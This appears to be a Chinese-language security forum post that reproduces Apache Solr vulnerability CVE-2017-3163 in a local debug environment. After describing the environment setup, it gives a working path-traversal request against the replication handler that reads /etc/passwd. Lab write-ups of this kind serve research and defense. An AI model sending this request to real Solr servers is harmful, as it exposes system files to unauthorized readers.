简介

Solr(是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。

Solr是用Java编写、运行在Servlet容器(如Apache Tomcat或Jetty)的一个独立的全文搜索服务器。 Solr采用了Lucene Java搜索库为核心的全文索引和搜索,并具有类似REST的HTTP/XML和JSON的API。

Solr的ReplicationHandler类对输入数据数据处理不当,存在任意文件读取和服务器请求伪造漏洞,涉及漏洞编号为CVE-2017-3163CVE-2017-3164

环境搭建

漏洞环境的关键点:

  • JDK,java version "1.8.0_112"
  • Apache Ant(TM) version 1.9.15
  • Apache Solr version 6.0.0
  • IDEA DEBUG

首先下载Apache Solr,选择版本为存在漏洞的6.0.0,链接地址为:

https://archive.apache.org/dist/lucene/solr/6.0.0/solr-6.0.0-src.tgz

解压后得到源码,接着需要使用ant工具构建以供IDEA使用。

操作系统为OSX,使用brew安装ant,并且不要使用最新版(构建会存在BUG)且需要指定版本为1.9

brew install ant@1.9 && brew link --force ant@1.9

校验ant安装结果

~/Desktop ant -version 
Apache Ant(TM) version 1.9.15 compiled on May 10 2020

接着开始构建solr

cd solr-6.0.0
ant idea
ant ivy-bootstrap
cd solr
ant server

速度会很慢,最好能科学上网,每次ant构建都成功的话提示如下:

回到构建好的源码根目录,修改执行权限后即可运行。

cd solr/bin/
chmod 777 solr

生成测试数据并启动

./solr -f -e dih

得到测试数据路径后,关闭solr

./solr stop -p 8983

设置jdwp远程调试后重新开启solr

./solr start -a  "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6666" -p 8983 -s "/Users/rai4over/Desktop/solr-6.0.0/solr/example/example-DIH/solr"

导入将构建后源码导入IDEA,并设置远程调试如下:

org.apache.solr.servlet.SolrDispatchFilter#doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)

CVE-2017-3163

使用索引复制功能时,Apache Solr节点可以使用接受文件名的HTTP API从主/领导节点中提取索引文件。 但是,5.5.4之前的Solr和6.4.1之前的6.x不会验证文件名,因此可以设计一个恶意的路径遍历的特殊请求,从而使Solr服务器进程实现任意文件读取漏洞。

影响版本:

  • 1.4.0-6.4.0

复现

恶意请求

http://127.0.0.1:8983/solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1

文件读取成功

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖